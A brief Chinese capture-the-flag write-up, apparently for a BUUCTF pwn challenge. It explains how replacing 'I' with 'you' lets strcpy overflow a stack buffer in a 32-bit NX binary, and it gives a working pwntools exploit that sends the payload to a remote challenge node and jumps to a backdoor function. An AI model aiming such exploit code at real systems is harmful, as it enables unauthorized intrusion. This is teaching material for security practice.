32位,开启了NX保护
运行效果如下:
main函数
vuln()函数
这里中间处理的代码还看不太懂,只能看到you、i还有replace字符替换函数
试着运行效果如下,可知代码会把输入的I替换为you
strcpy()函数存在缓冲区溢出
变量s在栈中的位置位0x3c,想要溢出到Rbp需要60+4(因为是32位)=64。fgets()函数只允许输入32位长度,但是I可以变为you,因此可以输入20个I加三个a
找一下后门函数,函数的位置是0x8048F0D
这里可以直接用栈溢出的exp,稍微改一下就可以:
#!/usr/bin/python
from pwn import *
io=remote("node5.buuoj.cn",29026)
payload=b'I'*20+b'a'*4+p32(0x8048F0D+1)
io.sendline(payload)
io.interactive()
运行结果如下: